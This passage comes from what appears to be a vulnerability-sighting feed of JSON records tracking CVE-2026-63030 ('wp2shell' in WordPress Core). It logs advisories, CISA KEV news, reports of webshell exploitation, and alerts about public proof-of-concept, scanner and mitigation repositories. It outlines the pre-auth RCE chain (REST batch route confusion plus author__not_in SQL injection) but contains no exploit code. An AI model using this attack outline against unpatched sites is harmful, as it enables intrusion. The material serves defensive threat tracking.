"https://bsky.app/profile/raplsworks.bsky.social/post/3mram2hmczk2c"}, {"timestamp": "2026-07-22T16:00:04.272Z", "date_only": false, "value": "2026-07-22T16:00:04.272397Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bdufstecru/3336", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a7aab34b-c8bf-4f0f-9a0f-4904ca9693fd", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_items() \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c \u0441\u0430\u0439\u0442\u0430 WordPress \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u0441\u043f\u0438\u0441\u043a\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0438 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-10241\nCVE-2026-63030\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/WordPress/wordpress-develop/releases/tag/6.9.5\nhttps://github.com/WordPress/wordpress-develop/releases/tag/7.0.2\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/", "url": "https://t.me/bdufstecru/3336"}, {"timestamp": "2026-07-22T16:49:32.109Z", "date_only": false, "value": "2026-07-22T16:49:32.109803Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116964653150323533", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fca82493-7cd3-4cf7-a026-b4fe3b277c2c", "content": "\ud83d\udcf0 CISA Adds Four Actively Exploited Flaws in DD-WRT, Langflow, WordPress\nCISA adds 4 actively exploited vulnerabilities to its KEV catalog: CVE-2021-27137 (DD-WRT), CVE-2026-0770 (Langflow), and CVE-2026-63030 & CVE-2026-60137 (WordPress). Patching is urgent. #CISA #KEV #Vulnerability #PatchNow #WordPress\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-four-actively-exploited-vulnerabilities-in-dd-wrt-langflow-wordpress-to-kev-catalog/?utm_s\u2026", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/116964653150323533"}, {"timestamp": "2026-07-22T16:49:59.757Z", "date_only": false, "value": "2026-07-22T16:49:59.757620Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mrarr25fd22q", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f4a14617-7335-42c2-ab7c-459fec376368", "content": "CISA adds 4 actively exploited vulnerabilities to its KEV catalog: CVE-2021-27137 (DD-WRT), CVE-2026-0770 (Langflow), and CVE-2026-63030 & CVE-2026-60137 (WordPress). Patching is urgent. #CISA #KEV #Vulnerability #PatchNow #WordPress\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mrarr25fd22q"}, {"timestamp": "2026-07-22T17:00:04.203Z", "date_only": false, "value": "2026-07-22T17:00:04.203512Z", "kind": "sighting", "label": "Seen", "source": "Telegram/tTAffE3ecNhvRTBphw7K5bpufit0HCKjFX6WbbNQmiqRs00", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e519f76b-c1fa-4751-8dd0-00622f64833b"}, {"timestamp": "2026-07-22T17:00:04.937Z", "date_only": false, "value": "2026-07-22T17:00:04.937881Z", "kind": "sighting", "label": "Seen", "source": "Telegram/7mI1XR-YBo8-oaXN9qxsH1n50-oEMIH7yLn9iwYoK3prrhI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0e06e3f9-1b09-4074-bdbf-00d8793b6a53"}, {"timestamp": "2026-07-22T17:00:05.033Z", "date_only": false, "value": "2026-07-22T17:00:05.033039Z", "kind": "sighting", "label": "Seen", "source": "Telegram/WRVd5yOWBdxKpqesnEO3eRKAwr-Rlmtkgf90pSpwV55ICCw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "30e1c616-fec9-48e9-a604-36cbab5ba87f"}, {"timestamp": "2026-07-22T17:00:06.042Z", "date_only": false, "value": "2026-07-22T17:00:06.042690Z", "kind": "sighting", "label": "Seen", "source": "Telegram/pdM35Qb7UYxK7NyQH_YMiMTzKCL1s0zrYFTaLDzzfEjcX8M", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "55e4c62d-c730-4867-8945-55a348c89f6c"}, {"timestamp": "2026-07-22T17:00:06.115Z", "date_only": false, "value": "2026-07-22T17:00:06.115261Z", "kind": "sighting", "label": "Seen", "source": "Telegram/OHtlgQSf1ttAAdGsPBUI_8rerZBnCKre55WVBLaYQ6LwoQM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f3426997-b3c9-4abe-b5c7-07c0d1320d71"}, {"timestamp": "2026-07-22T17:00:06.360Z", "date_only": false, "value": "2026-07-22T17:00:06.360327Z", "kind": "sighting", "label": "Seen", "source": "Telegram/n4_ZNUCoJfZAolaR9A4hqsAYq57EjAfyK1ny6q-M_zcZuOU", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "eb417be5-e171-4744-9ea8-373a7adfcf9d"}, {"timestamp": "2026-07-22T17:00:06.389Z", "date_only": false, "value": "2026-07-22T17:00:06.389397Z", "kind": "sighting", "label": "Seen", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9ef667e9-608d-47ec-89ee-7b046f99ec82"}, {"timestamp": "2026-07-22T17:09:58.523Z", "date_only": false, "value": "2026-07-22T17:09:58.523981Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrasurlpkk2a", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7ab9dcfb-1a8f-4688-b94b-683744dd8220", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrasurlpkk2a"}, {"timestamp": "2026-07-22T17:54:37.003Z", "date_only": false, "value": "2026-07-22T17:54:37.003979Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mravemfbfm2c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ab93b6bb-4a17-419d-a11d-23c9b6912a8c", "content": "SOCRadar launches wp2shell exposure checker\u00a0\n\nSOCRadar has launched a\u00a0free wp2shell checker\u00a0to help organizations quickly determine whether their WordPress websites may be exposed to CVE-2026-63030, a critical remote code execution vulnerability affecting recent WordPress versions....", "url": "https://bsky.app/profile/theitnerd.ca/post/3mravemfbfm2c"}, {"timestamp": "2026-07-22T20:04:51.963Z", "date_only": false, "value": "2026-07-22T20:04:51.963350Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mrb4nj6z322o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8ab32958-ef97-4f32-ba13-ca323efb6420", "content": "@elastic.co\nwp2shell exploits a REST batch endpoint route confusion in WordPress Core enabling unauthenticated remote code execution via SQL injection and webshell deployment.\n-\nIOCs: CVE-2026-63030, CVE-2026-60137, wp2shell\n-\n...", "url": "https://bsky.app/profile/cyfar.ca/post/3mrb4nj6z322o"}, {"timestamp": "2026-07-22T22:00:03.431Z", "date_only": false, "value": "2026-07-22T22:00:03.431139Z", "kind": "sighting", "label": "Seen", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b0bbb677-18e6-4edb-927c-7b51bd24a350"}, {"timestamp": "2026-07-23T00:00:05.083Z", "date_only": false, "value": "2026-07-23T00:00:05.083222Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9cad93f7-a84e-489f-98ea-5b58c46bf5c9"}, {"timestamp": "2026-07-23T00:00:07.484Z", "date_only": false, "value": "2026-07-23T00:00:07.484940Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/n4_ZNUCoJfZAolaR9A4hqsAYq57EjAfyK1ny6q-M_zcZuOU", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "249add43-9fe7-4d79-8f09-e0ee8da18d4f"}, {"timestamp": "2026-07-23T00:00:07.590Z", "date_only": false, "value": "2026-07-23T00:00:07.590474Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "eb2f61cf-845a-419e-ba68-2fc4bdb19c4f"}, {"timestamp": "2026-07-23T00:00:08.093Z", "date_only": false, "value": "2026-07-23T00:00:08.093482Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/pdM35Qb7UYxK7NyQH_YMiMTzKCL1s0zrYFTaLDzzfEjcX8M", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5ea38fc8-dd58-4807-a782-031c5c00ffac"}, {"timestamp": "2026-07-23T00:00:08.259Z", "date_only": false, "value": "2026-07-23T00:00:08.259277Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/OHtlgQSf1ttAAdGsPBUI_8rerZBnCKre55WVBLaYQ6LwoQM", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0bfce34d-b7d3-41e2-9b82-d7a9a56807e0"}, {"timestamp": "2026-07-23T00:00:09.265Z", "date_only": false, "value": "2026-07-23T00:00:09.265244Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7mI1XR-YBo8-oaXN9qxsH1n50-oEMIH7yLn9iwYoK3prrhI", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ea328594-d935-4598-a4d3-d638e0cab4fe"}, {"timestamp": "2026-07-23T00:00:09.429Z", "date_only": false, "value": "2026-07-23T00:00:09.429033Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WRVd5yOWBdxKpqesnEO3eRKAwr-Rlmtkgf90pSpwV55ICCw", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "fe784f22-b19d-4098-80b5-9f8f834671b6"}, {"timestamp": "2026-07-23T00:00:10.111Z", "date_only": false, "value": "2026-07-23T00:00:10.111603Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/tTAffE3ecNhvRTBphw7K5bpufit0HCKjFX6WbbNQmiqRs00", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ad79a3b4-34c4-4100-a96e-8cd871401e28"}, {"timestamp": "2026-07-23T00:00:22.649Z", "date_only": false, "value": "2026-07-23T00:00:22.649702Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/bdufstecru/3336", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "faa8f704-da42-4833-aa0c-f31ef62e1b7f", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 get_items() \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c \u0441\u0430\u0439\u0442\u0430 WordPress \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u0441\u043f\u0438\u0441\u043a\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u0438 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\n\nBDU:2026-10241\nCVE-2026-63030\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/WordPress/wordpress-develop/releases/tag/6.9.5\nhttps://github.com/WordPress/wordpress-develop/releases/tag/7.0.2\nhttps://wordpress.org/news/2026/07/wordpress-7-0-2-release/", "url": "https://t.me/bdufstecru/3336"}, {"timestamp": "2026-07-23T00:00:22.997Z", "date_only": false, "value": "2026-07-23T00:00:22.997417Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/BleepingComputer/25158", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "ad893e9b-0d40-4b98-828a-95be6dd76f57", "content": "\u200aCritical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/BleepingComputer/25158"}, {"timestamp": "2026-07-23T04:00:05.543Z", "date_only": false, "value": "2026-07-23T04:00:05.543642Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94648", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1aed2349-7d20-4d1f-a5a9-5e398edbc02a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-vulnerability-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Adrees-Basheer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 12:34:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL injection risks across multiple sites with severity classification and CSV reporting.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94648"}, {"timestamp": "2026-07-23T04:00:05.799Z", "date_only": false, "value": "2026-07-23T04:00:05.799545Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94678", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b3241613-0280-4a1d-a663-2d4cb2b0e69b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-CVE-2026-60137-wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 16:30:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 Wp2shell Poc\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94678"}, {"timestamp": "2026-07-23T04:00:06.200Z", "date_only": false, "value": "2026-07-23T04:00:06.200082Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94635", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "760837c4-0154-4d80-9e36-722e2d9e95a7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mcipekci\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 10:58:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE PoC for WordPress core \u2014 chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94635"}, {"timestamp": "2026-07-23T04:00:06.518Z", "date_only": false, "value": "2026-07-23T04:00:06.518039Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94520", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e9556f35-74b3-4736-9fda-5c9e65da7e89", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Colere-Sys\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAnalysis and end-to-end implementation of the patched wordpress RCE vulnerability - CVE-2026-60137 and CVE-2026-63030\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94520"}, {"timestamp": "2026-07-23T04:00:06.763Z", "date_only": false, "value": "2026-07-23T04:00:06.763969Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94519", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6945dedc-39f9-4cea-922a-7b1ca5927c90", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell-CVE-2026-63030-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Bhanunamikaze\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:51:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion) + CVE-2026-60137 (author__not_in SQL injection). For authorized security testing only.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94519"}, {"timestamp": "2026-07-23T04:56:35.181Z", "date_only": false, "value": "2026-07-23T04:56:35.181025Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrc2ecn4ld2c", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7ee2267c-6999-4395-85d1-b31d7a904dac", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 71 interactions\nCVE-2026-60137: 57 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 17 interactions\nCVE-2026-16232: 5 interactions\nCVE-2026-58644: 5 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mrc2ecn4ld2c"}, {"timestamp": "2026-07-23T05:00:04.516Z", "date_only": false, "value": "2026-07-23T05:00:04.516925Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94657", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0ee47adc-0aee-4798-808d-87e236b3d147", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc-fulljs\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a raphy76\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 13:31:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nfull javascript reproduction of CVE-2026-63030 (author_exclude, author__not_in and misalignment between validations and matches)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94657"}, {"timestamp": "2026-07-23T05:00:05.243Z", "date_only": false, "value": "2026-07-23T05:00:05.243707Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94529", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "72f8aa22-d9a9-4dc6-b1af-bac4777cae0a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Fix-CVE-2026-60137-CVE-2026-63030-in-wordpress\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mrmtwoj\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a PHP\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 17:49:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-60137Temporary Emergency Mitigation for CVE-2026-60137 & CVE-2026-63030 (wp2shell)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94529"}, {"timestamp": "2026-07-23T06:00:03.906Z", "date_only": false, "value": "2026-07-23T06:00:03.906418Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94743", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "249e7005-a6d9-4157-ae50-7aa27b373f75", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-63030_60137-wordpress_rce_reproduction\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a razureink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-23 03:46:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE Reproduction: cve-2026-63030_60137-wordpress_rce_reproduction\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94743"}, {"timestamp": "2026-07-23T09:52:22.133Z", "date_only": false, "value": "2026-07-23T09:52:22.133019Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/VirusBulletin/statuses/116968675172587890", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "11371373-6b81-43e0-b755-512322228da7", "content": "Elastic researchers analyse wp2shell, a pre-authentication remote code execution chain in WordPress Core (CVE-2026-63030, CVE-2026-60137).  https://www.elastic.co/security-labs/wp2shell-wordpress-rce-detection-elastic-defend", "url": 